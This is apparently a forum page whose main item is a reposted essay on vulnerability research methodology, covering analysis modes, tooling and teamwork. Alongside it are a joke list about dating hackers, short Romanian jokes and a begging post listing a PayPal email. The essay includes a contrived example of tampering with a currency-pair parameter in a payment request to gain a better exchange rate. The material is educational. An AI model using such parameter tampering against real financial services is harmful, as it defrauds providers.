mitigations. The combination of offensive and defensive concepts guide researchers toward surfacing vulnerabilities while being able to circumvent exploit mitigations. A solid understanding of application technologies and defensive concepts is what leads to remediation recommendations that are non-generic and actionable. Tools and Methodologies. This is about effectively and efficiently putting concepts into practice. It comes through experience from spending time learning how to use tools and configuring them, optimizing repetitive tasks, and establishing your own workflow. Learning how relevant tools work, how to develop them, and re-purpose them for different use cases is just as important as knowing how to use them. A process-oriented methodology is more valuable than a tool-oriented methodology. A researcher shouldn't stop pursuing a lead when a limitation of a tool they're using has been reached. The bulk of my methodology development has come from reading books and write-ups, hands-on practice, and learning from many mistakes. Courses are usually a good way to get an introduction to topics from experts who know the subject-matter well, but usually aren't a replacement for the experience gained from hands-on efforts. Target Application. Lastly, it's important to be able to understand the security-oriented aspects of an application better than its developers and maintainers. This is about more than looking at what security-oriented features the application has. This involves getting context about its use cases, enumerating all entry points, and being able to hypothesize vulnerabilities that are appropriate to its business logic and technology stack. The next section details the activities I perform to build knowledge in this area. The table below illustrates an example of what the required knowledge may look like for researching vulnerabilities in web applications and Windows desktop applications. Keep in mind that the entries in each category are just for illustration purposes and aren't intended to be exhaustive. Web Applications Desktop Applications Application Technologies Offensive and Defensive Concepts Tools and Methodologies Target Application Thousands of hours, hundreds of mistakes, and countless sleepless nights go into building these domains of knowledge. It's the active combination and growth of these domains that helps increase the likelihood of finding vulnerabilities. If this section is characterized by what should be known, then the next section is characterized by what should be done. What activities are performed? When analyzing an application, I use the four "modes of analysis" below and constantly switch from one mode to another whenever I hit a mental block. It's not quite a linear or cyclical process. I'm not sure if this model is exhaustive, but it does help me stay on track with coverage. Within each mode are active and passive activities. Active activities require some level of interaction with the application or its environment whereas passive activities do not. That said, the delineation is not always clear. The objective for each activity is to: Understand assumptions made about security. Hypothesize how to undermine them. Attempt to undermine them. Use case analysis is about understanding what the application does and what purpose it serves. It's usually the first thing I do when tasked with a new application. Interacting with a working version of the application along with reading some high-level documentation helps solidify my understanding of its features and expected boundaries. This helps me come up with test cases faster. If I have the opportunity to request internal documentation (threat models, developer documentation, etc.), I always try to do so in order to get a more thorough understanding. This might not be as fun as doing a deep-dive and trying test cases, but it's saved me a lot of time overall. An example I can talk about is with Oracle Opera where, by reading the user-manual, I was able to quickly find out which database tables stored valuable encrypted data (versus going through them one-by-one). Implementation analysis is about understanding the environment within which the application resides. This may involve reviewing network and host configurations at a passive level, and performing port or vulnerability scans at an active level. An example of this could be a system service that is installed where the executable has an ACL that allows low-privileged users to modify it (thereby leading to local privilege escalation). Another example could be a web application that has an exposed anonymous FTP server on the same host which could lead to exposure of source code and other sensitive files. These issues are not inherent to the applications themselves, but how they have been implemented in their environments. Communications analysis is about understanding what and how the target exchanges information with other processes and systems. Vulnerabilities can be found by monitoring or actively sending crafted requests through different entry points and checking if the responses yield insecure states. Many web application vulnerabilities are found this way. Network and data flow diagrams, if available, are very helpful in seeing the bigger picture. While an understanding of application-specific communication protocols is required for this mode, an understanding of the application's internal workings are not. How user-influenced data is being passed and transformed within a system is more or less seen as a black-box in this analysis mode, with the focus on monitoring and sending requests and analyzing the responses that come out. If we go back to our hypothetical financial portal from earlier, we may want to look at the feature that allows clients to purchase prepaid credit cards in different currencies as a contrived example. Let's assume that a purchase request accepts the following parameters: fromAccount: The account from which money is being withdrawn to purchase the prepaid card. fromAmount: The amount of money to place into the card in the currency of fromAccount (e.g. 100). cardType: The type of card to purchase (e.g. USD, GBP). currencyPair: The currency pair for fromAccount and cardType (e.g. CADUSD, CADGBP). The first thing we might want to do is send a standard request so that we know what a normal response should look like as a baseline. A request and response to purchase an $82 USD card from a CAD account might look like this: Request Response { "fromAccount": "000123456", "fromAmount": 100, "cardType": "USD", "currencyPair": "CADUSD" } { "status": "ok", "cardPan": 4444333322221111, "cardType": "USD" "toAmount": 82.20, } We may not know exactly what happened behind the scenes, but it came out ok as indicated by the status attribute. Now if we tweak the fromAmount to something negative, or the fromAccount to someone else's account, those may return erroneous responses indicating that validation is being performed. If we change the value of currencyPair from CADUSD to CADJPY, we'll see that the toAmount changes from 82.20 to 8863.68 while the cardType is still USD. We're able to get more bang for our buck by using a more favourable exchange rate while the desired card type stays the same. If we have access to back-end code, it would make it easier to know what's happening to that user input and come up with more thorough test cases that could lead to insecure states with greater precision. Perhaps an additional request parameter that's not exposed on the client-side could have altered the expected behaviour in a potentially malicious way. Code and binary analysis is about understanding how user-influenced input is passed and transformed within a target application. To borrow an analogy from Practical Malware Analysis, if the last three analysis modes can be compared to looking at the outside of a body during an autopsy, then this mode is where the dissection begins. There are a variety of activities that can be performed for static and dynamic analysis. Here are a few: Data flow analysis. This is useful for scouting entry points and understanding how data can flow toward potential insecure states. When I'm stuck trying to get a payload to work in the context of communications analysis, I tweak it in different ways to try get toward that hypothesized insecure state. In comparison with this mode, I can first look into checking whether that insecure state actually exists, and if so, figure out how to craft my payload to get there with greater precision. As mentioned earlier, one of the benefits of this mode is being able to find insecure states and being able to work backwards to craft payloads for corresponding entry points. Static and dynamic analysis go hand-in-hand here. If you're looking to go from point A to B, then static analysis is like reading a map, and dynamic analysis is like getting a live overview of traffic and weather conditions. The wide and abstract understanding of an application you get from static analysis is complemented by the more narrow and concrete understanding you get from dynamic analysis. Imports analysis. Analyzing imported APIs can give insight into how the application functions and how it interacts with the OS, especially in the absence of greater context. For example, the use of cryptographic functions can indicate that some asset is being protected. You can trace calls to figure out what it's protecting and whether it's protected properly. If a process is being created, you can look into determining whether user-input can influence that. Understanding how the software interacts with the OS can give insight on entry points you can use to interact with it (e.g. network listeners, writable files, IOCTL requests). Strings analysis. As with analyzing imports, strings can give some insights into the program's capabilities. I tend to look for things like debug statements, keys/tokens, and anything that looks suspicious in the sense that it doesn't fit with how I would expect the program to function. Interesting strings can be traced for its usages and to see if there are code paths reachable from entry points. It's important to differentiate between strings that are part of the core program and those that are included as part of statically-imported libraries. Security scan triage. Automated source code scanning tools may be helpful in finding generic low-hanging fruit, but virtually useless at finding contextual or design-based vulnerabilities. I don't typically find this to be the most productive use of my time because of the sheer number of false positives, but if it yields many confirmed vulnerabilities then it could indicate a bigger picture of poor secure coding practices. Dependency analysis. This involves triaging dependencies (e.g. open-source components) for known vulnerabilities that are exploitable, or finding publicly unknown vulnerabilities that could be leveraged within the context of the target application. A modern large application is often built on many external dependencies. A subset of them can have vulnerabilities, and a subset of those vulnerabilities can "bubble-up" to the main application and become exploitable through an entry point. Common examples include Heartbleed, Shellshock, and various Java deserialization vulnerabilities. Repository analysis. If you have access to a code repository, it may help identify areas that would typically be interesting to researchers. Aside from the benefits of having more context than with a binary alone, it becomes easier to find older areas of code that haven't changed in a long time and areas of code that bridge the development efforts of segmented groups. Code and binary analysis typically takes longer than the other modes and is arguably more difficult because researchers often need to understand the application and its technologies to nearly the same degree as its developers. In practice, this knowledge can often be distributed among segmented groups of developers while researchers need to understand it holistically to be effective. I cannot overstate how important it is to have competency in programming for this. A researcher who can program with the technologies of their target application is almost always better equipped to provide more value. On the offensive side, finding vulnerabilities becomes more intuitive and it becomes easier to adapt exploits to multiple environments. On the defensive side, non-generic remediation recommendations can be provided that target the root cause of the vulnerability at the code level. Similar to the domains of knowledge, actively combining this analysis mode with the others helps makes things click and increases the likelihood of finding vulnerabilities. Other Thoughts and Lessons Learned This section goes over some other thoughts worth mentioning that didn't easily fit in previous sections. Vulnerability Complexity Vulnerabilities vary in a spectrum of complexity. On one end, there are trivial vulnerabilities which have intuitive exploit code used in areas that are highly prone to scrutiny (e.g. the classic SQLi authentication bypass). On the other end are the results of unanticipated interactions between system elements that by themselves are neither insecure nor badly engineered, but lead to a vulnerability when chained together (e.g. Chris Domas' "Memory Sinkhole"). I tend to distinguish between these ends of the spectrum with the respective categories of "first-order vulnerabilities" and "second-order vulnerabilities", but there could be different ways to describe them. The modern exploit is not a single shot vulnerability anymore. They tend to be a chain of vulnerabilities that add up to a full-system compromise. — Ben Hawkes, Project Zero Working in Teams It is usually helpful to be upfront to your team about what you know and don't know so that you can (ideally) be delegated tasks in your areas of expertise while being given opportunities to grow in areas of improvement. Pretending and being vague is counterproductive because people who know better will sniff it out easily. If being honest can become political, then maybe it's not an ideal team to work with. On the other hand, you shouldn't expect to be spoon-fed everything you need to know. Learning how to learn on your own can help you become self-reliant and help your team's productivity. If you and your team operate on billable time, the time one takes to teach you might be time they won't get back to focus on their task. The composition of a team in a timed project can be a determining factor to the quantity and quality of vulnerabilities found. Depending on the scale and duration of the project, having more analysts could lead to faster results or lead to extra overhead and be counterproductive. A defining characteristic of some of the best project teams I've been on is that in addition to having good rapport and communication, we had diverse skill sets that played off each other which enhanced our individual capabilities. We also delegated parallelizable tasks that had converging outcomes. Here are some examples: Bob scouts for entry points and their parameters while Alice looks for vulnerable sinks. Alice fleshes out the payload to a vulnerable sink while Bob makes sense of the protocol to the sink's corresponding entry point. Bob reverses structs by analyzing client requests dynamically while Alice contributes by analyzing how they are received statically. Bob looks for accessible file shares on a network while Alice sifts through them for valuable information. Overall, working in teams can increase productivity but it takes some effort and foresight to make that a reality. It's also important to know when adding members won't be productive so as to avoid overhead. Final Notes Thanks for taking the time to read this if you made it this far. I hope this has taken some of the magic out of what's involved when finding vulnerabilities. It's normal to feel overwhelmed and a sense of impostor syndrome when researching (I don't think that ever goes away). This is a constant learning process that extends beyond a day job or what any single resource can teach you. I encourage you to try things on your own and learn how others approach this so you can aggregate, combine, and incorporate elements from each into your own approach. I'd like to thank @spookchop and other unnamed reviewers for their time and contributions. I am always open to more (critical) feedback so please contact me if you have any suggestions. The following tools were used for graphics: GIMP, WordItOut, draw.io, and FreeMind. @Jackson_T Sursa: http://jackson.thuraisamy.me/finding-vulnerabilities.html
    1 point
  9. 17 tips you should know before dating a Hacker People don't ship with user manuals, same applies to the other type: `The Security Phreaks`. Whether you dated on purpose or by mistake the `security girl `or `security guy` (a.k.a. InfoSec, Information Security, IT Security or simply a Hacker), here are some instructions that might be helpful to tweak and maintain a sustainable, fruitful relationship full of joy, happiness and those shits. If you are into security stuff, the below will help you understand yourself more. Grey is a bad color, it's either they trust you or they don't. Perfect your 1st impression and the last one. Never interrupt them while coding, by this you will violate point #1 in terms of `bad last impression`. Those people are mentally ill Xor bad at their jobs. Don't lie. Those creatures have highly sensitive lie-dars and there to haunt you. In case you managed to keep a lie, they will praise your special powers and will love you forever. They might not answer your call, don't take it personal. Just call back the day after. If you miss your hacker due to some circumstances, get a web cam and play it cyber. Expect waking up after late night text messages. Answer immediately! Your availability is required upon need! Do not expect birthday gifts such as roses, cute hearts and diamond - Expect something useful. For Gods' sake, do not clean up their computer desks. Dust are part of the room's ecosystem. Being invited to technical events and security cons is not a date. Proving them wrong arouses them disregarding your gender. Through inherent nature they like to disassemble stuff and reassemble them. They might disassemble your heart, but RMV (Results might vary) among all extremes. Mostly applied to 1st dates, they might know more secrets about you; don't panic - background checks and social engineering are hackers' bestest hobby. They'll port-scan you for informational purposes. Don't show your vulnerabilities, they'll enjoy discovering them by themselves and will be glad helping you remediate them. A Backdoor might be a solution. Don't ask for their knowledge in Facebook and SMS hacking; if they do, strategically speaking, you'll be the last to inform. You might see them leading Viking wars while `speaking` security. Keep calm, relax, nothing is serious, show that you care. They will notice you understand no shit of their talks, but will appreciate all your interest attempts. Subscribe to 3G/4G : don't join their home networks. Don't trust any network they are connected to. Don't provide them with your home Wi-Fi password, they will not like at first it but will appreciate your security awareness level. On the bright side, they'll accept the challenge. Don't hand them your phone, even for the minimal duration and reasons - you will regret it someday somehow. In the end, your hacker conceives you as computer with a soul, we are all human after all; I hope you make use of my tips and enjoy your holes securely investigated ever after. Thank you for reading this post, please do not hesitate to update me with your feedback, comments and testimonials. Sursa: https://moophz.com/article/17-tips-you-should-know-dating-security-guy-or-girl
    1 point
  10. Daram peretii casei, o incendiez si fug in padure! :)))))))
    1 point
  11. Pentru @aelius, sa-ti bei dimineata cafeaua cu asta: https://www.youtube.com/watch?v=8BiQS1URnh4 =))))))))))))))))))))))
    1 point
  12. Va rog frumos din inima sa ma ajutati cu 0.35 centi paypal ca am vreau sa imi iau un joc si atat mai am nevoie, va dau si un skin USP-S de 0.55 pe CSGO STEAM. EMAIL PAYPAL - specialminecraft690@yahoo.com
    -1 points
×
×
  • Create New...